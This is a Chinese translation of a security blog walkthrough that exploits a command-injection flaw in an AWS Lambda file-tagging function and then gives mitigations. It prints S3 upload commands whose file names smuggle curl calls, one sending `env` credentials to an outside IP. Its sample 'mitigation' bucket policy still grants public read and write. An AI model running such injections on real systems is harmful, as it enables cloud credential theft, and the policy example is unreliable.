在本文中，我們將從黑盒測試和白盒測試的角度為大家解釋一個真實的攻擊場景：攻擊者是如何使用易受攻擊的AWS Lambda函數(shù)獲得對云環(huán)境的初始訪問權(quán)限的。最后，我們將為大家介紹針對這種攻擊手法的最佳防御實踐。
眼下，無服務器技術(shù)正在成為業(yè)務應用程序的主流，有了它，用戶無需管理底層基礎(chǔ)設施即可實現(xiàn)可擴展性、性能和成本效益。并且，這些工作負載可以輕松擴展到每秒數(shù)千個并發(fā)請求。實際上，云環(huán)境中使用最多的無服務器服務之一，就是AWS Lambda服務。
在考察應用程序的時候，一個基本要素就是安全性。比如，代碼中的錯誤或缺乏用戶輸入驗證不僅可能會導致功能受損，而且還可能導致云帳戶被入侵。
關(guān)于AWS Lambda函數(shù)
AWS Lambda是一種事件驅(qū)動的無服務器計算服務，允許運行用不同編程語言編寫的代碼，從而實現(xiàn)基于云環(huán)境的自動化操作。
這種方法的主要優(yōu)勢之一是，Lambda是在由AWS直接管理的高可用計算基礎(chǔ)結(jié)構(gòu)中運行我們的代碼的。也就是說，與底層基礎(chǔ)設施相關(guān)的所有管理活動，包括服務器和操作系統(tǒng)維護、自動伸縮、修補和日志記錄等，都是由云供應商替我們完成的。
用戶只需在這些服務上運行實現(xiàn)自己所需功能的代碼就可以了。
安全共擔之痛
對于云環(huán)境的安全來說，雖然本質(zhì)上是由云供應商來管理的，但仍然允許用戶進行相應的配置，所以，安全問題和風險實際上與參與雙方共擔的。
由于用戶無法控制特定Lambda函數(shù)背后的基礎(chǔ)設施，因此，底層基礎(chǔ)設施的安全風險實際上是由云供應商直接管理的。
通過AWS IAM，用戶可以限制lambda函數(shù)及其組件的訪問權(quán)限和允許的操作。如果對IAM角色或Lambda函數(shù)使用的對象的權(quán)限配置出錯，可能會造成嚴重的后果，導致云環(huán)境被攻擊者拿下。更重要的是，在Lambda函數(shù)中實現(xiàn)的代碼是由用戶控制的，正如我們在后門所看到的，如果代碼中存在安全漏洞，該函數(shù)則可能被攻擊者用來訪問云賬戶并進行橫向移動。
攻擊場景
我們將使用兩種不同的測試方法來考察兩個攻擊場景：黑盒測試和白盒測試，這是滲透測試中用來評估特定基礎(chǔ)設施、應用程序或功能的安全態(tài)勢的兩種主要測試方法。
從不同的角度來看Lambda函數(shù)將有助于更深入、更全面地了解我們函數(shù)的安全態(tài)勢，并幫助我們更好地理解可能的攻擊和相關(guān)風險。
黑盒測試與白盒測試
進行黑盒測試時，攻擊方并不具備環(huán)境本身和軟件系統(tǒng)內(nèi)部原理的任何信息。在這種測試方法中，攻擊者需要對特定功能的邏輯背后可能隱藏的內(nèi)容做出假設，并不斷測試這些假設，以找到切入點。對于我們的場景，攻擊者既沒有云環(huán)境的任何訪問權(quán)限，也沒有任何關(guān)于云環(huán)境或帳戶中可用的功能和角色的內(nèi)部信息。
在白盒測試中，由于攻擊者已經(jīng)獲得了內(nèi)部信息，因此，他們可以在攻擊過程中利用這些信息。在進行這種測試時，我們假設攻擊者擁有查找可能的漏洞和安全問題所需的所有信息。
因此，白盒測試被認為是最全面的測試方式。在我們的場景中，攻擊者在云環(huán)境中具有只讀的初始訪問權(quán)限，他們可以使用這些信息來評估已經(jīng)部署的東西，以更好地鎖定攻擊目標。
#1黑盒測試場景
在這個攻擊場景中，攻擊者發(fā)現(xiàn)一個S3桶因為配置有誤而向公眾開放，其中含有公司的各種文件。
攻擊者能夠?qū)⑽募蟼鞯酱鎯ν爸?，并在上傳后檢查文件配置。盡管攻擊者對Lambda中實現(xiàn)的代碼一無所知，但仍可以通過Lambda函數(shù)來獲得每個上傳文件的標簽。
我們可以使用AWS CLI來列出prod-file-bucket-eu這個桶內(nèi)的所有對象。
aws s3 ls prod-file-bucket-eu
我們通過上傳文件獲得信息的一種方式就是檢查標簽，看看是否可以找到一些有用的信息。使用get-object-tagging，我們可以看到分配給該文件的標簽如下所示：
aws s3api get-object-tagging--bucket prod-file-bucket-eu--key config161.zip
這些標簽肯定是自定義的，并在將文件上傳到存儲桶時動態(tài)添加。據(jù)推測，應該存在一種函數(shù)，用于添加與文件大小和路徑相關(guān)的標簽。
使用curl或awscli，我們可以嘗試上傳一個zip文件，看看標簽是否會自動添加到我們的文件中。
aws s3 cp config.zip s3://prod-file-bucket-eu/
curl-X PUT-T config.zip
-H"Host:prod-file-bucket-eu.s3.amazonaws.com"
-H"Date:Thu,02 Dec 2021 15:47:04+0100"
-H"Content-Type:$"
http://prod-file-bucket-eu.s3.amazonaws.com/config.zip
一旦文件上傳，我們可以檢查文件標簽，結(jié)果表明標簽已經(jīng)自動添加。
aws s3api get-object-tagging--bucket prod-file-bucket-eu--key config161.zip
所以，我們可以非常確定的一點是：這些值背后存在一個AWS Lambda函數(shù)。當一個新對象在存儲桶中創(chuàng)建時，該函數(shù)似乎就會被觸發(fā)。當然，Path和Size這兩個標簽，似乎是為每個文件動態(tài)計算的，可能是通過執(zhí)行OS命令檢索到的信息。
我們可以假設文件名用于在操作系統(tǒng)中查找文件，并計算文件大小。換句話說，文件名可能是用戶輸入，在OS命令中使用它來檢索要放入標簽中的信息。如果缺少用戶輸入驗證，攻擊者就可以通過向計算機提交精心構(gòu)造的輸入來執(zhí)行任意命令。
在這種情況下，我們可以嘗試在文件名中注入其他命令來實現(xiàn)遠程代碼執(zhí)行。使用分號連接命令是將任意命令附加到用戶輸入中的一種常見方法，這樣，如果用戶輸入沒有得到很好的過濾，代碼就可能會執(zhí)行這些命令。
讓我們嘗試追加命令curl來打開與另一個EC2的連接，為此，我們可以使用POST方法發(fā)送測試消息“testrceCurl”。
aws s3 cp config.zip's3://prod-file-bucket-eu/screen;curl-X POST-d"testRCECurl"3.80.92.111:443;'
從下面的屏幕中，我們可以看到命令已正確執(zhí)行，并且我們收到了連接和POST消息。
通過這種方式，我們證明了用戶輸入根本沒有經(jīng)過驗證，因此，我們可以在AWS Lambda OS上成功地執(zhí)行任意命令。我們可以利用這個安全漏洞直接訪問云環(huán)境。
提取AWS憑據(jù)的方法之一，就是通過env變量。在這方面，我們已經(jīng)證明，我們可以回連攻擊者的機器，并將env變量的內(nèi)容發(fā)送到POST消息中，以從中提取信息。
aws s3 cp config.zip's3://prod-file-bucket-eu/screen;curl-X POST-d"`env`"3.80.92.111:443;.zip'
使用curl命令，我們成功地獲取了云憑據(jù)，并且可以使用這些憑據(jù)登錄到云帳戶。這樣，我們就可以導入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN，從get-caller-identity輸出中可以看到，我們登錄成功了。
aws sts get-caller-identity
{
"UserId":"AROA2PVZZYWS7MCERGTMS:corpFuncEasy",
"Account":"AccountID",
"Arn":"arn:aws:sts::AccountID:assumed-role/corpFuncEasy/corpFuncEasy"
}
一旦進入，攻擊者就可以啟動枚舉過程來評估獲得的特權(quán)，并查看是否存在進一步提升云帳戶特權(quán)的路徑。
#1白盒測試場景
下面，讓我們對前面提出的相同攻擊場景——攻擊者發(fā)現(xiàn)了配置錯誤的S3存儲桶——進行白盒測試。在這種情況下，攻擊者可以通過網(wǎng)絡釣魚竊取憑據(jù)來訪問云環(huán)境，而受攻擊的用戶帳戶權(quán)限為：只讀權(quán)限。
由于具有只讀訪問權(quán)限，攻擊者可以合并從lambda函數(shù)中實現(xiàn)的代碼中獲得的信息，以更好地發(fā)動針對性攻擊。
讓我們從檢查獲得的憑據(jù)是否對登錄云帳戶有效開始入手。
aws sts get-caller-identity
{
"UserId":"AIDA2PVZZYWS3MXZKDH66",
"Account":"AccountID",
"Arn":"arn:aws:iam::AccountID:user/operator"
}
一旦登錄，我們就可以開始評估相關(guān)用戶或組的特權(quán)。在本例中，我們可以看到這里附加了以下策略。
aws iam list-attached-user-policies--user-name operator
我們只有只讀權(quán)限，所以，接下來可以收集已經(jīng)部署到賬戶中的信息，特別是關(guān)注配置錯誤的S3桶。
就像我們在黑盒測試場景中看到的那樣，我們可以合理地假設，發(fā)現(xiàn)的開放型存儲桶有一個lambda函數(shù)。因此，如果找到有關(guān)lambda函數(shù)的額外信息，將有助于更好地發(fā)動攻擊。
通過命令list-functions，我們可以看到賬戶中可用的lambda函數(shù)。就這里來說，我們找到了corpFuncEasy函數(shù)及其相關(guān)信息，特別是該函數(shù)所使用的角色。
aws lambda list-functions
通過get-function，我們可以深入研究之前找到的lambda函數(shù)。在這里，我們可以找到一些基本的信息，如下載函數(shù)代碼的鏈接。
ws lambda get-function--function-name corpFuncEasy
{
"Configuration":{
"FunctionName":"corpFuncEasy",
"FunctionArn":"arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy",
...
},
"Code":{
"RepositoryType":"S3",
"Location":"https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-..."
},
"Tags":{
"lambda-console:blueprint":"s3-get-object-python"
}
}
通過檢查代碼，我們可以更好地評估函數(shù)的安全性，并查看是否應用了安全最佳實踐。
在這段代碼中，我們可以看到上傳的文件被放入/tmp/folder中，文件路徑直接用于subprocess命令并執(zhí)行。
我們看到，這里并沒有對文件名應用任何輸入驗證，也就談不上安全過濾了。現(xiàn)在，我們更清楚前面提到的攻擊為什么能成功了。
在這里，使用的文件名為“screen.zip;curl-X POST-d“testRCECurl”3.80.92.111:443”，相應的subprocess命令如下所示：
"stat-c%s screen.zip;curl-X POST-d"testRCECurl"3.80.92.111:443"
正如我們所看到的，使用分號字符，我們可以在stat命令后面追加其他要執(zhí)行的命令。正如我們前面提到的，執(zhí)行curl命令后，字符串將發(fā)送到攻擊系統(tǒng)的443端口。
如何防御這種攻擊
我們已經(jīng)從黑盒測試和白盒測試的角度考察了相應的攻擊場景，但是我們?nèi)绾芜M行防御呢？在考察的場景中，我們涵蓋了不同的AWS組件，如S3桶和AWS lambda函數(shù)，但是某些安全因素被忽略了。
為了成功地緩解這種情況，我們可以在不同的級別和不同的特性上采取行動。特別是，我們可以：
1、禁用S3桶的公共訪問權(quán)限，這樣它就只能從內(nèi)部訪問，并且只能被通過了云賬戶認證的用戶訪問。
2、檢查lambda函數(shù)中使用的代碼，以確保里面沒有任何安全漏洞，所有的用戶輸入都按照安全編寫代碼的安全準則進行了正確處理。
3、在應用于云特性的所有AWS IAM角色中應用最小特權(quán)原則，以避免不必要的操作或在帳戶內(nèi)出現(xiàn)特權(quán)提升路徑。
下面，讓我們來看看上面提到的所有要點，詳細了解應該如何部署這些緩解措施。
禁用S3桶的公共訪問權(quán)限
S3桶是AWS中用作存儲的關(guān)鍵組件之一；S3桶經(jīng)常被那些入侵云賬戶的攻擊者所利用。
盡可能地保持S3桶的安全，應用所有可用的安全設置，避免對我們的數(shù)據(jù)或文件進行不必要的訪問，這一點至關(guān)重要。
就本例來說，存儲桶是公開的，所有未經(jīng)授權(quán)的用戶都能夠?qū)λM行讀取和寫入操作。為了避免這種情況，我們需要確保桶是可用的，私下里應用以下安全設置來限制訪問。
此外，通過對存儲桶施加ACL，可以定義允許對它執(zhí)行哪些操作，以及可以訪問桶中的哪些對象；對于其他的操作和對象，則一律拒絕。
{
"Version":"2012-10-17",
"Statement":[
{
"Sid":"PublicReadGetObject",
"Effect":"Allow",
"Principal":"*",
"Action":[
"s3:GetObject",
"s3:PutObject"
],
"Resource":"arn:aws:s3:::3bucket********/www/html/word/*"
},
{
"Sid":"PublicReadListObject",
"Effect":"Allow",
"Principal":"*",
"Action":"s3:List*",
"Resource":"arn:aws:s3:::s3bucket********/*"
}
]
}
審查lambda函數(shù)內(nèi)部使用的代碼
與任何其他Web應用程序一樣，保證代碼是按照安全最佳實踐來實現(xiàn)的，是避免安全問題的根本所在。當然，Lambda函數(shù)中的代碼也不例外，我們需要確保代碼是安全的、無懈可擊的。
就本案例來說，請看下面的代碼片段：
file_count_KB=subprocess.check_output(
"stat-c%s"+file_download_path,
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()
其中，變量file_download_path保存有完整的文件路徑，包括文件名。該路徑直接連接到命令行以執(zhí)行命令。但是，文件名是由用戶決定和控制的，因此，在將路徑附加到命令中之前，我們需要根據(jù)允許的字符進行適當?shù)挠脩糨斎腧炞C和過濾。
為了進行正確、有效的驗證，我們需要清楚地知道哪些字符是允許的，哪些字符將包含在字符串中，并應用輸入驗證的最佳實踐。
借助于正則表達式，我們可以只允許特定文件路徑中出現(xiàn)的字符，并在攻擊者試圖提交不良字符時阻止其執(zhí)行。在下面的例子中，我們可以看到一個用正則表達式來驗證linux文件路徑的例子。
pattern="^/$|(/[a-zA-Z_0-9-]+)+$"
if re.match(pattern,file_download_path):
file_count_KB=subprocess.check_output(
"stat-c%s"+file_download_path,
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()
需要說明的是，這個正則表達式是針對我們要驗證的字段或輸入的。OWASP提供了很好的最佳實踐指南，當您需要處理任何類型的用戶輸入時，請遵循該指南。
在AWS IAM角色中應用最小特權(quán)原則
借助于AWS身份和訪問管理（IAM），我們可以安全地管理對AWS服務和資源的訪問。正如我們在第一節(jié)中所說，用戶負責管理身份和訪問管理層，并使用權(quán)限來控制對AWS資源的訪問。
由于云環(huán)境中可用權(quán)限的粒度較細，所以，我們建議遵循最小特權(quán)原則，精確地賦予用戶執(zhí)行其操作所需的權(quán)限。如果為用戶賦予了過大的權(quán)限，攻擊者可能利用這一點實現(xiàn)權(quán)限提升。
在黑盒測試場景中，攻擊者能夠使用與lambda函數(shù)關(guān)聯(lián)的AWS角色登錄帳戶。
攻擊者可能會繼續(xù)攻擊并提升自己在AWS內(nèi)部的權(quán)限，因為可能存在特權(quán)配置錯誤。通過對分配給lambda函數(shù)的角色授予所需的最低權(quán)限，我們可以攻擊者提權(quán)路徑最小化，以確保即使遭到入侵，也不會危及整個云環(huán)境。
當然，要想清楚地了解每個組、用戶或資源附加了哪些政策和角色，也并不是那么容易。不過，我們可以借助于持續(xù)監(jiān)視云中異常活動的安全工具，來生成安全事件。在AWS中，通過使用正確的工具，我們可以從CloudTrail事件和其他來源收集事件，以輕松地評估和加固云環(huán)境的安全性。
小結(jié)
雖然AWS Lambda函數(shù)在可擴展性和性能方面具有很大的優(yōu)勢，但是，如果不以最佳實踐方式對安全進行全方位的管理，這些無服務器函數(shù)可能會被攻擊者濫用，成為入侵AWS賬戶的利器。
在Lambda代碼中施加適當?shù)妮斎腧炞C，在函數(shù)觸發(fā)器中應用安全最佳實踐，對于防御攻擊者的入侵活動是至關(guān)重要的。正如在云環(huán)境中經(jīng)常發(fā)生的那樣，確保在IAM權(quán)限方面應用最小權(quán)限的原則，可以有效防御提權(quán)攻擊。
本文翻譯自：https://sysdig.com/blog/exploit-mitigate-aws-lambdas-mitre/
